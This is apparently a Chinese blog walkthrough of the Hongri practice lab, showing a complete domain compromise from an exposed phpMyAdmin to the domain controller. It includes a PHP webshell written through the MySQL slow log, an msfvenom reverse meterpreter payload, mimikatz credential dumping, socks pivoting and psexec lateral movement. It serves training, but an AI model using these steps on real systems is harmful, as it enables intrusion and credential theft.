0%

红日靶场-1

红日靶场1

网络拓扑图

img

本次实验攻击机为kali:192.168.60.128,web服务器为win7(双网卡,192.168.52.143/192.168.60.139),域内主机win2008 R2:192.168.52.138,win2003:192.168.52.141

注意关闭win7的防火墙,启动phpstudy服务

信息搜集+外网打点

先扫描一下外网web服务开放了哪些端口(用Windows)

1
nmap.exe -A -p 1-65535 192.168.112.139

发现开启了80和3306端口(mysql默认端口)

img

访问一下80端口,是一个phpstudy探针

img

扫一下目录(推荐用kali)

1
dirsearch -u http://192.168.112.139/

img

开启了phpmyadmin,使用root/root即可登录后台

img

有个CMS admin的账号和密码,数据库里面没有什么可用的信息了,尝试写马

1
SHOW VARIABLES LIKE "secure%"

回显NULL,说明不能正常写入,看看慢日志

1
SELECT @@slow_query_log 

为0,未开启,我们设置其为1

1
set global slow_query_log = 1

继续查看一下慢日志路径

1
SELECT @@slow_query_log_file

显示C:\phpStudy\MySQL\data\stu1-slow.log,改变路径

1
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'

执行慢日志查询,插入一句话木马

1
select "<?php eval($_POST[log]);?>" from yx_admin where sleep(11)

img

getshell的另一种姿势

我的dirsearch没扫出来…..

可以找到一个beifen.rar文件以及一个/yxcms目录,该页面有admin的登录方式,admin/123456进入后台,可以发现一个前台模板的功能,该功能可以上传文件

img

上传后可以在beifen.rar中找到路径是啥(搜索acomment.php即可)

img

img

getshell

img

拿下shell后信息搜集

getshell,蚁剑连接,是管理员权限

img

是否存在域

内网环境分为域环境和非域环境,两者环境的渗透是不一样的,所以此时我们需要判断当前主机是否处在域环境中

这里有几种方法可供选择:

(1)net time /domain

  • 如果当前主机处于工作组中未加入域,则显示找不到域控制器
  • 加入了域,且当前用户为本地用户包括本地管理员,则显示拒绝访问
  • 加入了域,且当前用户域用户,则显示域控的时间

img

(2)ipconfig /all

当前主机如果是工作组中,则主DNS后缀为空。如果加入了域则主DNS为域名

  • 工作组:只要没有加入域,主机的网卡不管有没有自定义dns服务器ip。 执行 ipconfg /all 后主DNS后缀都为空
  • 域环境:只要加入域,不管当前用户为域用户还是本地用户,主DNS的后缀都为域名

img

(3)systeminfo

  • 工作组环境systeminfo查询的显示为WORKGROUP,域环境查询的域是域名
  • 域中,不管此时是什么用户登陆。查询的域是域名

img

明显可以看出该主机在域内,有必要进行后渗透,拿下域控

网络连接情况 进程 杀软 服务 是否可以出网 用户开放情况

1
2
3
4
5
6
7
1.ipconfig 看所处网段是否有多个
2.netstat -ano 查看网络连接和开放端口
3.net start 查看启动的服务 用于提权
4.tasklist 查看开启的进程
5.tasklist /SVC 复制到在线杀软识别 看存在的杀软情况 https://i.hacking8.com/tiquan
6. ping baidu 看是否可以出网等
7. net user 存在用户

翻文件 txt 类型的 看是否有密码

1
dir /s /b "C:\Your\Directory\Path\*.txt"

后渗透

后渗透阶段,当我们已经将小马上传到web服务器上时,可以用webshell管理工具进行下一步渗透了。

cobalt strike(简称CS)及Metasploit(简称msf)各有所长,cs更适合作为稳控平台,msf更适用于与各类 内网信息搜集及漏洞利用。为了取长补短,我们通常会进行联动。

基于msf

这里的思路是将shell派送给CS或者msf进行下一步渗透。使用msf生成exe并开启监听(也可以用cs生产exe):

1
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.60.128 LPORT=9999 -f exe -o hack.exe

将该exe文件上传到目录

img

kali执行

1
2
3
4
5
6
7
8
9
msf6 post(multi/manage/shell_to_meterpreter) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.60.128
lhost => 192.168.112.128
msf6 exploit(multi/handler) > set lport 9999
lport => 9999
msf6 exploit(multi/handler) > exploit -j

运行hack.exe

1
hack.exe

sessions -i查看接收到的所有会话

img

1
sessions 1

成功上线

上线后的信息搜集

输入?可查看可使用的命令

扫描内网存活主机

1
run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24

img

提权

查看msf的提权

1
run post/multi/recon/local_exploit_suggester
1
2
3
getuid查看服务器权限
getsystem 提权
getuid 查看是否提权成功

成功提权

img

抓取域用户的密码信息
1
2
3
4
5
6
7
8
9
10
11
12
Windows系统下的hash密码格式为:
用户名称:RID:LM-HASH值:NT-HASH值
NT-HASH hash生产方式:

1. 将明文口令转换成十六进制的格式
2. 转换成Unicode格式,即在每个字节之后添加0x00
3. 对Unicode字符串作MD4加密,生成32位的十六进制数字串

eg:用户密码为test123
转换成十六进制的格式为74657374313233
转换成Unicode格式为7400650073007400310032003300
对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1
1
2
3
4
5
6
7
8
9
10
11
12
13
以下3种都可尝试
1.hashdump
2.加载 kiwi模块
load kiwi 加载kiwi模块
creds_all 列出所有凭据
3.加载mimikatz模块
Windows10/2012 以下的版本可以直接抓取明文密码
再尝试加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,
而且该进程需要是system权限运行的。
ps 查看进程
migrate PID (我这里使用的是3696)
load mimikatz
kiwi_cmd sekurlsa::logonpasswords

img

img

img

远程连接

检查3389端口是否开启

1
3389 端口是远程桌面协议(Remote Desktop Protocol,简称 RDP)的默认端口。
1
nmap -p 3389 192.168.112.140

img

可以看到是关闭了的,应该是防火墙阻拦

使用run post/windows/manage/enable_rdp开启端口,再次扫描发现已经开启

img

基于cs

生成exe文件,上传并运行

img

成功上线,然后有现成的权限提升功能以及密码明文抓取

建立反向代理

正向代理就是指内网机器如果不能直接连到外网,建立正向代理可以连到外网,而反向代理则相反,是外网主机想要进入内网建立的代理。

首先新建一个路由

1
run autoroute -s 192.168.52.0/24

查看路由

1
run autoroute -p

挂起会话,建立socks

1
2
3
4
5
6
7
8
9
background

use auxiliary/server/socks_proxy

set VERSION 4a

set SRVHOST 127.0.0.1

exploit

exploit后就挂起了一个job

img

然后修改/etc/proxychains4.conf文件

img

测试一下,发现可以成功访问到内网

img

内网信息搜集

arp 探测内网存活主机

1
2
3
4
5
6
7
use post/windows/gather/arp_scanner

set RHOSTS 192.168.52.0/24

set SESSION 1

exploit

扫到内网还有两台主机:192.168.52.138/192.168.52.141

img

也可以使用udp协议发现内网存活主机(有点慢)

1
2
3
4
5
use auxiliary/scanner/discovery/udp_sweep

set RHOSTS 192.168.52.0/24

exploit

img

域信息搜集

1
2
3
4
5
6
7
8
net time /domain        #查看时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
net view /domain:GOD #查看GOD 域情况
nslookup 主机名 #查看域内其他主机 可能ip查不出来
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控

内网存活服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字

查看域信息

1
net view

img

查看主域信息

1
net view /domain

img

横向渗透

端口扫描

1
proxychains nmap -sT -Pn 192.168.52.141

img

1
proxychains nmap -sT -Pn 192.168.52.138

这之后尝试了永恒之蓝,但并未成功拿下shell

psexec攻击直接拿下域控

img

点击抓取明文密码,然后点击这里

img

右键我们要拿下的域控主机

img

选择psexec,进行如下配置

img

监听器选择的是Beacon SMB

最后即可顺利拿下域控

img